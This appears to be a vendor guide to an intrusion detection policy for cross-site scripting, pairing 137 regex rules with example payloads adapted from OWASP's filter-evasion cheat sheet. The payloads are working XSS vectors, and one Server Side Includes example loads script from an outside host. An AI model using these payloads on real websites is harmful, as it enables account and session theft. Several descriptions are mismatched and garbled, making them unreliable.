CloudPassage

CloudPassage LIDS Policy

Cross Site Scripting Guide

January 8, 2018

Revision History

Date	Description
01/08/2018	Release build 1, which contains based XSS from OWASP guide.

Contents

Chapter 1

Overview

Document description LIDS policy which detected XSS attempts. In additional you can see metrics description every rule with example, small and long descriptions.

This guide based on best practice from the OWASP (The Open Web Application Security Project).

Link for this document: https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
Last revision (mm/dd/yy): 10/15/2017

Technique of attacks

My policy implemented any vectors that attacker can use. The LIDS XSS policy can to detect next technique of attacks:

- **Cookie Injections** (Cross Site Scripting Cookie injection)
- **XRS** (Cross Site Referer Scripting)
- **XAS** (Cross Site Agent Scripting)
- **DOM** (Use Anchor Stealth (DOM based))
- **DCP** (Data Control Protocol injections)
- **Included** (HTTP Response Splitting Induced code)
- **Anchor** (Use Anchor Stealth payloader (DOM shadows!))
- **OnMouse** (Use onMouseMove)
- **Iframes** (inject code Use "iframe" source tag to inject code}

GREPs data for detects

The LIDS XSS policy works via logs from mod_security. It greps data from GET, POST, Referrer and Cookie requests.

Bypass attacks and Obfuscation code

In additional the LIDS policy cans detect Bypass attacks and any Obfuscation code:

- **StringFromCherCode** (If no quotes of any kind are allowed you can eval() a fromCharCode in JavaScript to create any XSS vector)
- **Hexadecimal** (HTML character references without trailing semicolons. This is also a viable XSS attack against the above string $tmp_string =~ s/.*\&#(\d+);.*/$1/; which assumes that there is a numeric character following the pound symbol - which is not true with hex HTML characters))
- **Hexadecimal with semicolons**
- **Octal** (Octal encoding. Again padding is allowed, although you must keep it above 4 total characters per class - as in class A, class B, etc.)
- **Unescape**

- **Decimal**
- **Dword**

BODY tag methods

And the LIDS XSS policy detects BODY tag methods. This Method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack).

LIDS metrics from HALO policy

The LIDS XSS policy has a metrics:

Rule's name	LIDS metrics	Additionals LIDS metrics
Rule 001. Detect "script"	[Ss][Cc][Rr][Ii][Pp][Tt]	
Rule 002. Detect <a href	<[Aa]\s+[Hh][Rr][Ee][Ff]	%3C[Aa]\++[Hh][Rr][Ee][Ff]
Rule 003. Detect UTF-7 encoding	\+[Aa][Dd][Ww]\-[Ss][Cc][Rr][Ii][Pp][Tt]	%2B[Aa][Dd][Ww]\-[Ss][Cc][Rr][Ii][Pp][Tt]
Rule 004. Detect Server Side Includes	<\!\-\-.*[Cc][Mm][Dd]	%3C%21\-\-.*[Cc][Mm][Dd]
Rule 005. Detect XML (One type of XML <?xml:)	<\?[Xx][Mm][Ll]	%3C%3F[Xx][Mm][Ll]
Rule 006. Detect classic XML	<[Xx][Mm][Ll]	%3C[Xx][Mm][Ll]
Rule 007. Detect <EMBED	<[Ee][Mm][Bb][Ee][Dd]	%3C[Ee][Mm][Bb][Ee][Dd]
Rule 008. Detect OBJECT tag	<[Oo][Bb][Jj][Ee][Cc][Tt]	%3C[Oo][Bb][Jj][Ee][Cc][Tt]
Rule 009. Detect <DIV	<[Dd][Ii][Vv]	%3C[Dd][Ii][Vv]
Rule 010. Detect <Table	<[Tt][Aa][Bb][Ll][Ee]	%3C[Tt][Aa][Bb][Ll][Ee]
Rule 011. Detect <FRAMESET	<[Ff][Rr][Aa][Mm][Ee][Ss][Ee][Tt]	%3C[Ff][Rr][Aa][Mm][Ee][Ss][Ee][Tt]
Rule 012. Detect <META HTTP-EQUIV	<[Mm][Ee][Tt][Aa]\s+[Hh][Tt][Tt][Pp]\-[Ee][Qq][Uu][Ii][Vv]	%3C[Mm][Ee][Tt][Aa]\++[Hh][Tt][Tt][Pp]\-[Ee][Qq][Uu][Ii][Vv]
Rule 013. Detect Import	[Ii][Mm][Pp][Oo][Rr][Tt]	
Rule 014. Detect <Link REL	<[Ll][Ii][Nn][Kk]\s+[Rr][Ee][Ll]	%3C[Ll][Ii][Nn][Kk]\++[Rr][Ee][Ll]
Rule 015. Detect <BR SIZE via &	<[Bb][Rr]\s+[Ss][Ii][Zz][Ee]	%3C[Bb][Rr]\++[Ss][Ii][Zz][Ee]
Rule 016. Detect <Link	<[Ll][Ii][Nn][Kk]	%3C[Ll][Ii][Nn][Kk]
Rule 017. Detect <BGSOUND	<[Bb][GG][Ss][Oo][Uu][Nn][Dd]	%3C[Bb][GG][Ss][Oo][Uu][Nn][Dd]
Rule 018. Detect <SVG	<[Ss][Vv][Gg]	%3C[Ss][Vv][Gg]
Rule 019. Detect <INPUT	<[Ii][Nn][Pp][Uu][Tt]	%3C[Ii][Nn][Pp][Uu][Tt]
Rule 020. Detect <BODY	<[Bb][Oo][Dd][Yy]	%3C[Bb][Oo][Dd][Yy]
Rule 021. Detect LOWSRC after IMG tag	[Ll][Oo][Ww][Ss][Rr][Cc]	
Rule 022. Detect <FORM>	<[Ff][Oo][Rr][Mm]>	%3C[Ff][Oo][Rr][Mm]%3E
Rule 023. Detect EVAL coding and obfuscation code	[Ee][Vv][Aa][Ll]	
Rule 024. Detect BASE64 Obfuscation code	[Bb][Aa][Ss][Ee]64	
Rule 025. Detect Set-Cookie	[Ss][Ee][Tt]\-[Cc][Oo][Oo][Kk][Ii][Ee]	
Rule 026. Detect String.fromCharCode	[Ss][Tt][Rr][Ii][Nn][Gg]\.[Ff][Rr][Oo][Mm][Cc][Hh][Aa][Rr][Cc][Oo][Dd][Ee]	[Ss][Tt][Rr][Ii][Nn][Gg]%2E[Ff][Rr][Oo][Mm][Cc][Hh][Aa][Rr][Cc][Oo][Dd][Ee]

Rule's name	LIDS metrics	Additionals LIDS metrics
Rule 027. Detect <IFRAME	<[Ii][Ff][Rr][Aa][Mm][Ee]	%3C[Ii][Ff][Rr][Aa][Mm][Ee]
Rule 028. Detect PERL command running	[Pp][Ee][Rr][Ll]\s+	[Pp][Ee][Rr][Ll]\++
Rule 029. Detect <A ONMOUSEOVER	<[Aa].*[Oo][Nn][Mm][Oo][Uu][Ss][Ee][Oo][Vv][Ee][Rr]	%3C[Aa].*[Oo][Nn][Mm][Oo][Uu][Ss][Ee][Oo][Vv][Ee][Rr]
Rule 030. Detect <IMG\t51	<[Ii][Mm][Gg]	%3C[Ii][Mm][Gg]
Rule 031. Detect <IMG DYNSRC	<[Ii][Mm][Gg].*[Dd][Yy][Nn][Ss][Rr][Cc]	%3C[Ii][Mm][Gg].*[Dd][Yy][Nn][Ss][Rr][Cc]
Rule 032. Detect <IMG SRC	<[Ii][Mm][Gg].*[Ss][Rr][Cc]	%3C[Ii][Mm][Gg].*[Ss][Rr][Cc]
Rule 033. Detect BODY tag seekSegmentTime	[Ss][Ee][Ee][Kk][Ss][Ee][Gg][Mm][Ee][Nn][Tt][Tt][Ii][Mm][Ee]	
Rule 034. Detect BODY tag onURLFlip	[Oo][Nn][Uu][Rr][Ll][Ff][Ll][Ii][Pp]	
Rule 035. Detect BODY tag onUnload	[Oo][Nn][Uu][Nn][Ll][Oo][Aa][Dd]	
Rule 036. Detect BODY tag onUndo	[Oo][Nn][Uu][Nn][Dd][Oo]	
Rule 037. Detect BODY tag onTrackChange	[Oo][Nn][Tt][Rr][Aa][Cc][Kk][Cc][Hh][Aa][Nn][Gg][Ee]	
Rule 038. Detect BODY tag onTimeError	[Oo][Nn][Tt][Ii][Mm][Ee][Ee][Rr][Rr][Oo][Rr]	
Rule 039. Detect BODY tag onSubmit	[Oo][Nn][Ss][Uu][Bb][Mm][Ii][Tt]	
Rule 040. Detect BODY tag onSyncRestored	[Oo][Nn][Ss][Yy][Nn][Cc][Rr][Ee][Ss][Tt][Oo][Rr][Ee][Dd]	
Rule 041. Detect BODY tag onStorage	[Oo][Nn][Ss][Tt][Oo][Rr][Aa][Gg][Ee]	
Rule 042. Detect BODY tag onStop	[Oo][Nn][Ss][Tt][Oo][Pp]	
Rule 043. Detect BODY tag onStart	[Oo][Nn][Ss][Tt][Aa][Rr][Tt]	
Rule 044. Detect BODY tag onSelectStart	[Oo][Nn][Ss][Ee][Ll][Ee][Cc][Tt][Ss][Tt][Aa][Rr][Tt]	
Rule 045. Detect BODY tag onSelectionChange	[Oo][Nn][Ss][Ee][Ll][Ee][Cc][Tt][Ii][Oo][Nn][Cc][Hh][Aa][Nn][Gg][Ee]	
Rule 046. Detect BODY tag onSelect	[Oo][Nn][Ss][Ee][Ll][Ee][Cc][Tt]	
Rule 047. Detect BODY tag onSeek	[Oo][Nn][Ss][Ee][Ee][Kk]	
Rule 048. Detect BODY tag onScroll	[Oo][Nn][Ss][Cc][Rr][Oo][Ll][Ll]	
Rule 049. Detect BODY tag onRowInserted	[Oo][Nn][Rr][Oo][Ww][Ii][Nn][Ss][Ee][Rr][Tt][Ee][Dd]	
Rule 050. Detect BODY tag onRowDelete	[Oo][Nn][Rr][Oo][Ww][Dd][Ee][Ll][Ee][Tt][Ee]	
Rule 051. Detect BODY tag onRowExit	[Oo][Nn][Rr][Oo][Ww][Ee][Xx][Ii][Tt]	
Rule 052. Detect BODY tag onRowsEnter	[Oo][Nn][Rr][Oo][Ww][Ss][Ee][Nn][Tt][Ee][Rr]	

Rule's name	LIDS metrics	Additionals LIDS metrics
Rule 053. Detect BODY tag onReverse	[Oo][Nn][Rr][Ee][Vv][Ee][Rr][Ss][Ee]	
Rule 054. Detect BODY tag onResume	[Oo][Nn][Rr][Ee][Ss][Uu][Mm][Ee]	
Rule 055. Detect BODY tag onResizeStart	[Oo][Nn][Rr][Ee][Ss][Ii][Zz][Ee][Ss][Tt][Aa][Rr][Tt]	
Rule 056. Detect BODY tag onResizeEnd	[Oo][Nn][Rr][Ee][Ss][Ii][Zz][Ee][Ee][Nn][Dd]	
Rule 057. Detect BODY tag onResize	[Oo][Nn][Rr][Ee][Ss][Ii][Zz][Ee]	
Rule 058. Detect BODY tag onReset	[Oo][Nn][Rr][Ee][Ss][Ee][Tt]	
Rule 059. Detect BODY tag onRepeat	[Oo][Nn][Rr][Ee][Pp][Ee][Aa][Tt]	
Rule 060. Detect BODY tag onRedo	[Oo][Nn][Rr][Ee][Dd][Oo]	
Rule 061. Detect BODY tag onReadyStateChange	[Oo][Nn][Rr][Ee][Aa][Dd][Yy][Ss][Tt][Aa][Tt][Ee][Cc][Hh][Aa][Nn][Gg][Ee]	
Rule 062. Detect BODY tag onPropertyChange	[Oo][Nn][Pp][Rr][Oo][Pp][Ee][Rr][Tt][Yy][Cc][Hh][Aa][Nn][Gg][Ee]	
Rule 063. Detect BODY tag onProgress	[Oo][Nn][Pp][Rr][Oo][Gg][Rr][Ee][Ss][Ss]	
Rule 064. Detect BODY tag onPopState	[Oo][Nn][Pp][Oo][Pp][Ss][Tt][Aa][Tt][Ee]	
Rule 065. Detect BODY tag onPause	[Oo][Nn][Pp][Aa][Uu][Ss][Ee]	
Rule 066. Detect BODY tag onPaste	[Oo][Nn][Pp][Aa][Ss][Tt][Ee]	
Rule 067. Detect BODY tag onOutOfSync	[Oo][Nn][Oo][Uu][Tt][Oo][Ff][Ss][Yy][Nn][Cc]	
Rule 068. Detect BODY tag onOnline	[Oo][Nn][Oo][Nn][Ll][Ii][Nn][Ee]	
Rule 069. Detect BODY tag onOffline	[Oo][Nn][Oo][Ff][Ff][Ll][Ii][Nn][Ee]	
Rule 070. Detect BODY tag onMoveStart	[Oo][Nn][Mm][Oo][Vv][Ee][Ss][Tt][Aa][Rr][Tt]	
Rule 071. Detect BODY tag onMoveEnd	[Oo][Nn][Mm][Oo][Vv][Ee][Ee][Nn][Dd]	
Rule 072. Detect BODY tag onMove	[Oo][Nn][Mm][Oo][Vv][Ee]	
Rule 073. Detect BODY tag onMouseWheel	[Oo][Nn][Mm][Oo][Uu][Ss][Ee][Ww][Hh][Ee][Ee][Ll]	
Rule 074. Detect BODY tag onMouseUp	[Oo][Nn][Mm][Oo][Uu][Ss][Ee][Uu][Pp]	
Rule 075. Detect BODY tag onMouseOver	[Oo][Nn][Mm][Oo][Uu][Ss][Ee][Oo][Vv][Ee][Rr]	
Rule 076. Detect BODY tag onMouseOut	[Oo][Nn][Mm][Oo][Uu][Ss][Ee][Oo][Uu][Tt]	
Rule 077. Detect BODY tag onMouseMove	[Oo][Nn][Mm][Oo][Uu][Ss][Ee][Mm][Oo][Vv][Ee]	

Rule's name	LIDS metrics	Additionals LIDS metrics
Rule 078. Detect BODY tag onMouseLeave	[Oo][Nn][Mm][Oo][Uu][Ss][Ee][Ll][Ee][Aa][Vv][Ee]	
Rule 079. Detect BODY tag onMouseEnter	[Oo][Nn][Mm][Oo][Uu][Ss][Ee][Ee][Nn][Tt][Ee][Rr]	
Rule 080. Detect BODY tag onMouseDown	[Oo][Nn][Mm][Oo][Uu][Ss][Ee][Dd][Oo][Ww][Nn]	
Rule 081. Detect BODY tag onMessage	[Oo][Nn][Mm][Ee][Ss][Ss][Aa][Gg][Ee]	
Rule 082. Detect BODY tag onMediaError	[Oo][Nn][Mm][Ee][Dd][Ii][Aa][Ee][Rr][Rr][Oo][Rr]	
Rule 083. Detect BODY tag onMediaComplete	[Oo][Nn][Mm][Ee][Dd][Ii][Aa][Cc][Oo][Mm][Pp][Ll][Ee][Tt][Ee]	
Rule 084. Detect BODY tag onLoseCapture	[Oo][Nn][Ll][Oo][Ss][Ee][Cc][Aa][Pp][Tt][Uu][Rr][Ee]	
Rule 085. Detect BODY tag onLoad	[Oo][Nn][Ll][Oo][Aa][Dd]	
Rule 086. Detect BODY tag onLayoutComplete	[Oo][Nn][Ll][Aa][Yy][Oo][Uu][Tt][Cc][Oo][Mm][Pp][Ll][Ee][Tt][Ee]	
Rule 087. Detect BODY tag onKeyUp	[Oo][Nn][Kk][Ee][Yy][Uu][Pp]	
Rule 088. Detect BODY tag onKeyPress	[Oo][Nn][Kk][Ee][Yy][Pp][Rr][Ee][Ss][Ss]	
Rule 089. Detect BODY tag onKeyDown	[Oo][Nn][Kk][Ee][Yy][Dd][Oo][Ww][Nn]	
Rule 090. Detect BODY tag onInput	[Oo][Nn][Ii][Nn][Pp][Uu][Tt]	
Rule 091. Detect BODY tag onHelp	[Oo][Nn][Hh][Ee][Ll][Pp]	
Rule 092. Detect BODY tag onHashChange	[Oo][Nn][Hh][Aa][Ss][Hh][Cc][Hh][Aa][Nn][Gg][Ee]	
Rule 093. Detect BODY tag onFocusOut	[Oo][Nn][Ff][Oo][Cc][Uu][Ss][Oo][Uu][Tt]	
Rule 094. Detect BODY tag onFocusIn	[Oo][Nn][Ff][Oo][Cc][Uu][Ss][Ii][Nn]	
Rule 095. Detect BODY tag onFocus	[Oo][Nn][Ff][Oo][Cc][Uu][Ss]	
Rule 096. Detect BODY tag onFinish	[Oo][Nn][Ff][Ii][Nn][Ii][Ss][Hh]	
Rule 097. Detect BODY tag onFilterChange	[Oo][Nn][Ff][Ii][Ll][Tt][Ee][Rr][Cc][Hh][Aa][Nn][Gg][Ee]	
Rule 098. Detect BODY tag onErrorUpdate	[Oo][Nn][Ee][Rr][Rr][Oo][Rr][Uu][Pp][Dd][Aa][Tt][Ee]	
Rule 099. Detect BODY tag onError	[Oo][Nn][Ee][Rr][Rr][Oo][Rr]	
Rule 100. Detect BODY tag onEnd	[Oo][Nn][Ee][Nn][Dd]	
Rule 101. Detect BODY tag onDrop	[Oo][Nn][Dd][Rr][Oo][Pp]	
Rule 102. Detect BODY tag onDragStart	[Oo][Nn][Dd][Rr][Aa][Gg][Ss][Tt][Aa][Rr][Tt]	
Rule 103. Detect BODY tag onDragDrop	[Oo][Nn][Dd][Rr][Aa][Gg][Dd][Rr][Oo][Pp]	

Rule's name	LIDS metrics	Additionals LIDS metrics
Rule 104. Detect BODY tag onDragOver	[Oo][Nn][Dd][Rr][Aa][Gg][Oo][Vv][Ee][Rr]	
Rule 105. Detect BODY tag onDragEnter	[Oo][Nn][Dd][Rr][Aa][Gg][Ee][Nn][Tt][Ee][Rr]	
Rule 106. Detect BODY tag onDragLeave	[Oo][Nn][Dd][Rr][Aa][Gg][Ll][Ee][Aa][Vv][Ee]	
Rule 107. Detect BODY tag onDragEnd	[Oo][Nn][Dd][Rr][Aa][Gg][Ee][Nn][Dd]	
Rule 108. Detect BODY tag onDrag	[Oo][Nn][Dd][Rr][Aa][Gg]	
Rule 109. Detect BODY tag onDeactivate	[Oo][Nn][Dd][Ee][Aa][Cc][Tt][Ii][Vv][Aa][Tt][Ee]	
Rule 110. Detect BODY tag onDblClick	[Oo][Nn][Dd][Bb][Ll][Cc][Ll][Ii][Cc][Kk]	
Rule 111. Detect BODY tag onDataSetComplete	[Oo][Nn][Dd][Aa][Tt][Aa][Ss][Ee][Tt][Cc][Oo][Mm][Pp][Ll][Ee][Tt][Ee]	
Rule 112. Detect BODY tag onDataSetChanged	[Oo][Nn][Dd][Aa][Tt][Aa][Ss][Ee][Tt][Cc][Hh][Aa][Nn][Gg][Ee][Dd]	
Rule 113. Detect BODY tag onDataAvailable	[Oo][Nn][Dd][Aa][Tt][Aa][Aa][Vv][Aa][Ii][Ll][Aa][Bb][Ll][Ee]	
Rule 114. Detect BODY tag onCut	[Oo][Nn][Cc][Uu][Tt]	
Rule 115. Detect BODY tag onCopy	[Oo][Nn][Cc][Oo][Pp][Yy]	
Rule 116. Detect BODY tag onControlSelect	[Oo][Nn][Cc][Oo][Nn][Tt][Rr][Oo][Ll][Ss][Ee][Ll][Ee][Cc][Tt]	
Rule 117. Detect BODY tag onContextMenu	[Oo][Nn][Cc][Oo][Nn][Tt][Ee][Xx][Tt][Mm][Ee][Nn][Uu]	
Rule 118. Detect BODY tag onClick	[Oo][Nn][Cc][Ll][Ii][Cc][Kk]	
Rule 119. Detect BODY tag onChange	[Oo][Nn][Cc][Hh][Aa][Nn][Gg][Ee]	
Rule 120. Detect BODY tag onCellChange	[Oo][Nn][Cc][Ee][Ll][Ll][Cc][Hh][Aa][Nn][Gg][Ee]	
Rule 121. Detect BODY tag onBounce	[Oo][Nn][Bb][Oo][Uu][Nn][Cc][Ee]	
Rule 122. Detect BODY tag onBlur	[Oo][Nn][Bb][Ll][Uu][Rr]	
Rule 123. Detect BODY tag onBegin	[Oo][Nn][Bb][Ee][Gg][Ii][Nn]	
Rule 124. Detect BODY tag onBeforeUpdate	[Oo][Nn][Bb][Ee][Ff][Oo][Rr][Ee][Uu][Pp][Dd][Aa][Tt][Ee]	
Rule 125. Detect BODY tag onBeforeUnload	[Oo][Nn][Bb][Ee][Ff][Oo][Rr][Ee][Uu][Nn][Ll][Oo][Aa][Dd]	
Rule 126. Detect BODY tag onBeforePrint	[Oo][Nn][Bb][Ee][Ff][Oo][Rr][Ee][Pp][Rr][Ii][Nn][Tt]	
Rule 127. Detect BODY tag onBeforePaste	[Oo][Nn][Bb][Ee][Ff][Oo][Rr][Ee][Pp][Aa][Ss][Tt][Ee]	
Rule 128. Detect BODY tag onBeforeEditFocus	[Oo][Nn][Bb][Ee][Ff][Oo][Rr][Ee][Ee][Dd][Ii][Tt][Ff][Oo][Cc][Uu][Ss]	
Rule 129. Detect BODY tag onBeforeDeactivate	[Oo][Nn][Bb][Ee][Ff][Oo][Rr][Ee][Dd][Ee][Aa][Cc][Tt][Ii][Vv][Aa][Tt][Ee]	

Rule's name	LIDS metrics	Additionals LIDS metrics
Rule 130. Detect BODY tag onBeforeCut	[Oo][Nn][Bb][Ee][Ff][Oo][Rr][Ee][Cc][Uu][Tt]	
Rule 131. Detect BODY tag onBeforeCopy	[Oo][Nn][Bb][Ee][Ff][Oo][Rr][Ee][Cc][Oo][Pp][Yy]	
Rule 132. Detect BODY tag onBeforeActivate	[Oo][Nn][Bb][Ee][Ff][Oo][Rr][Ee][Aa][Cc][Tt][Ii][Vv][Aa][Tt][Ee]	
Rule 133. Detect BODY tag onAfterUpdate	[Oo][Nn][Aa][Ff][Tt][Ee][Rr][Uu][Pp][Dd][Aa][Tt][Ee]	
Rule 134. Detect BODY tag onAfterPrint	[Oo][Nn][Aa][Ff][Tt][Ee][Rr][Pp][Rr][Ii][Nn][Tt]	
Rule 135. Detect BODY tag onActivate	[Oo][Nn][Aa][Cc][Tt][Ii][Vv][Aa][Tt][Ee]	
Rule 136. Detect BODY tag onAbort	[Oo][Nn][Aa][Bb][Oo][Rr][Tt]	
Rule 137. Detect BODY tag FSCommand	[Ff][Ss][Cc][Oo][Mm][Mm][Aa][Nn][Dd]	

Navigation with Names, Examples and Descriptions for every rule in policy

Structure of Tables

On the next pages you can see “Shot description”. It shows based information about vector for attack.
Section “Example of vulnerable code” can take for tests your WEB appliance.
Section “Long description” may has addition\specific information about current XSS.

Rule 001. Detect “script”

Short description	Example of vulnerable code	Long description
Image XSS using the JavaScript directive	<IMG SRC="javascript:alert('XSS');">	Image XSS using the JavaScript directive (IE7.0 doesn't support the JavaScript directive in context of an image, but it does in other contexts, but the following show the principles that would work in other tags as well:
No quotes and no semicolon	<IMG SRC=javascript:alert('XSS')>	
Case insensitive XSS attack vector	<IMG SRC=JaVaScRiPt:alert('XSS')>	
HTML entities	<IMG SRC=javascript:alert("XSS")>	The semicolons are required for this to work:
Grave accent obfuscation	<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>	If you need to use both double and single quotes you can use a grave accent to encapsulate the JavaScript string - this is also useful because lots of cross site scripting filters don't know about grave accents:
fromCharCode	<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>	If no quotes of any kind are allowed you can eval() a fromCharCode in JavaScript to create any XSS vector you need:
Spaces and meta chars before the JavaScript in images for XSS	<IMG SRC=" &#14; javascript:alert('XSS');">	This is useful if the pattern match doesn't take into account spaces in the word "javascript:" -which is correct since that won't render- and makes the false assumption that you can't have a space between the quote and the "javascript:" keyword. The actual reality is you can have any char from 1-32 in decimal:

Short description	Example of vulnerable code	Long description
Half open HTML/JavaScript XSS vector	<IMG SRC="javascript:alert('XSS')"	Unlike Firefox the IE rendering engine doesn't add extra data to your page, but it does allow the javascript: directive in images. This is useful as a vector because it doesn't require a close angle bracket. This assumes there is any HTML tag below where you are injecting this cross site scripting vector. Even though there is no close ">" tag the tags below it will close it. A note: this does mess up the HTML, depending on what HTML is beneath it. It gets around the following NIDS regex: /((\%3D)|(=))[^\n]*((\%3C)|<)[^\n]+((\%3E)|>)/ because it doesn't require the end ">". As a side note, this was also affective against a real world XSS filter I came across using an open ended <IFRAME tag instead of an <IMG tag:
IMG Dynsrc	<IMG DYNSRC="javascript:alert('XSS')" >	
IMG lowsrc	<IMG LOWSRC="javascript:alert('XSS')">	
Embedded tab	<IMG SRC="javascript:alert('XSS');">	
BODY image	<BODY BACKGROUND="javascript:alert('XSS')">	
INPUT image	<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">	
List-style-image	<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</br>	Fairly esoteric issue dealing with embedding images for bulleted lists. This will only work in the IE rendering engine because of the JavaScript directive. Not a particularly useful cross site scripting vector:
BGSOUND	<BGSOUND SRC="javascript:alert('XSS');">	
STYLE tag using background-image	<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>	
STYLE tag using background	<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>	

Short description	Example of vulnerable code	Long description
META	<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">	The odd thing about meta refresh is that it doesn't send a referrer in the header - so it can be used for certain types of attacks where you need to get rid of referring URLs:
META with additional URL parameter	<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">	If the target website attempts to see if the URL contains "http://" at the beginning you can evade it with the following technique (Submitted by Moritz Naumann)
IFRAME	<IFRAME SRC="javascript:alert('XSS');"></IFRAME>	If iframes are allowed there are a lot of other XSS problems as well:
FRAME	<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>	Frames have the same sorts of XSS problems as iframes
TABLE	<TABLE BACKGROUND="javascript:alert('XSS')">	If the target website attempts to see if the URL contains "http://" at the beginning you can evade it with the following technique Table.
TD	<TABLE><TD BACKGROUND="javascript:alert('XSS')">	Just like above, TD's are vulnerable to BACKGROUNDs containing JavaScript XSS vectors:
DIV background-image	<DIV STYLE="background-image: url(javascript:alert('XSS'))">	DIV background-image
DIV background-image plus extra characters	<DIV STYLE="background-image: url(&#1;javascript:alert('XSS'))">	Rnaske built a quick XSS fuzzer to detect any erroneous characters that are allowed after the open parenthesis but before the JavaScript directive in IE and Netscape 8.1 in secure site mode. These are in decimal but you can include hex and add padding of course. (Any of the following chars can be used: 1-32, 34, 39, 160, 8192-8.13, 12288, 65279):

Short description	Example of vulnerable code	Long description
BASE tag	<BASE HREF="javascript:alert('XSS');//">	Works in IE and Netscape 8.1 in safe mode. You need the // to comment out the next characters so you won't get a JavaScript error and your XSS tag will render. Also, this relies on the fact that the website uses dynamically placed images like "images/image.jpg" rather than full paths. If the path includes a leading forward slash like "/images/image.jpg" you can remove one slash from this vector (as long as there are two to begin the comment this will work):

Rule 002. Detect <a href

Short description	Example of vulnerable code	Long description
IP versus hostname	<A HREF="http://66.102.7.147/">XSS</A>	Assuming that out tested site is pro grammatically disallowed. In example is http://google.com
URL encoding	<A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A>	Assuming that out tested site is pro grammatically disallowed. In example is http://google.com
Dword encoding	<A HREF="http://1113982867/">XSS</A>	(Note: there are other of variations of Dword encoding - see the IP Obfuscation calculator below for more details):
Hex encoding	<A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A>	The total size of each number allowed is somewhere in the neighborhood of 240 total characters as you can see on the second digit, and since the hex number is between 0 and F the leading zero on the third hex quotet is not required):
Octal encoding	<A HREF="http://0102.0146.0007.00000223/">XSS</A>	Again padding is allowed, although you must keep it above 4 total characters per class - as in class A, class B, etc...:
Mixed encoding	<A HREF="h tt p://6 6.000146.0x7.147/">XSS</A>	Let's mix and match base encoding and throw in some tabs and newlines - why browsers allow this, I'll never know). The tabs and newlines only work if this is encapsulated with quotes
Protocol resolution bypass	<A HREF="//www.google.com/">XSS</A>	(// translates to http:// which saves a few more bytes). This is really handy when space is an issue too (two less characters can go a long way) and can easily bypass regex like "(ht|f)tp(s)?://" (thanks to Ozh for part of this one). You can also change the "//" to "\\". You do need to keep the slashes in place, however, otherwise this will be interpreted as a relative path URL.

Short description	Example of vulnerable code	Long description
Google "feeling lucky" part 1.	<A HREF="//google">XSS</A>	Firefox uses Google's "feeling lucky" function to redirect the user to any keywords you type in. So if your exploitable page is the top for some random keyword (as you see here) you can use that feature against any Firefox user. This uses Firefox's "keyword:" protocol. You can concatenate several keywords by using something like the following "keyword:XSS+RSnake" for instance. This no longer works within Firefox as of 2.0.
Google "feeling lucky" part 2.	<A HREF="http://ha.ckers.org@google">XSS</A>	This uses a very tiny trick that appears to work Firefox only, because if it's implementation of the "feeling lucky" function. Unlike the next one this does not work in Opera because Opera believes that this is the old HTTP Basic Auth phishing attack, which it is not. It's simply a malformed URL. If you click okay on the dialogue it will work, but as a result of the erroneous dialogue box I am saying that this is not supported in Opera, and it is no longer supported in Firefox as of 2.0:
Google "feeling lucky" part 3.	<A HREF="http://google:ha.ckers.org">XSS</A>	This uses a malformed URL that appears to work in Firefox and Opera only, because if their implementation of the "feeling lucky" function. Like all of the above it requires that you are #1 in Google for the keyword in question (in this case "google")
Removing cnames	<A HREF="http://google.com/">XSS</A>	When combined with the above URL, removing "www." will save an additional 4 bytes for a total byte savings of 9 for servers that have this set up properly):
Extra dot for absolute DNS:	<A HREF="http://www.google.com./">XSS</A>	When combined with the above URL, removing "www." will save an additional 4 bytes for a total byte savings of 9 for servers that have this set up properly):
JavaScript link location:	<A HREF="javascript:document.location='http://www.google.com/'">XSS</A>	When combined with the above URL, removing "www." will save an additional 4 bytes for a total byte savings of 9 for servers that have this set up properly):

Short description	Example of vulnerable code	Long description
Content replace as attack vector	<A HREF="http://www.google.com/ogle.com/">XSS</A>	Assuming "http://www.google.com/" is programmatically replaced with nothing). I actually used a similar attack vector against a several separate real world XSS filters by using the conversion filter itself (here is an example) to help create the attack vector (IE: "java script:" was converted into "java

Rule 003. Detect UTF-7 encoding

Short description	Example of vulnerable code	Long description
UTF-7 encoding	<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-	If the page that the XSS resides on doesn't provide a page charset header, or any browser that is set to UTF-7 encoding can be exploited with the following (Thanks to Roman Ivanov for this one). Click here for an example (you don't need the charset statement if the user's browser is set to auto-detect and there is no overriding content-types on the page in Internet Explorer and Netscape 8.1 in IE rendering engine mode). This does not work in any modern browser without changing the encoding type which is why it is marked as completely unsupported. Watchfire found this hole in Google's custom 404 script.:

Rule 004. Detect Server Side Includes

Short description	Example of vulnerable code	Long description
SSI (Server Side Includes)	<!--#exec cmd="/bin/echo '<SCR'"--><!--#exec cmd="/bin/echo 'IPT SRC=http://xss.rocks/xss.js></SCRIPT>'"-->	This requires SSI to be installed on the server to use this XSS vector. I probably don't need to mention this, but if you can run commands on the server there are no doubt much more serious issues:

Rule 005. Detect XML (One type of XML <?xml:)

Short description	Example of vulnerable code	Long description
XML with embedded JavaScript	<?xml version="1.0" standalone="no"?> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <style type="text/css"> @font-face {font-family: y; src: url("4267d91768ac633b95c3e9319deeb048#x") format("svg");} body {font: 100px "y";} </style> </head> <body>X</body> </html>	
XML with embedded JavaScript	<?xml-stylesheet type="text/xsl" href="#"?>	
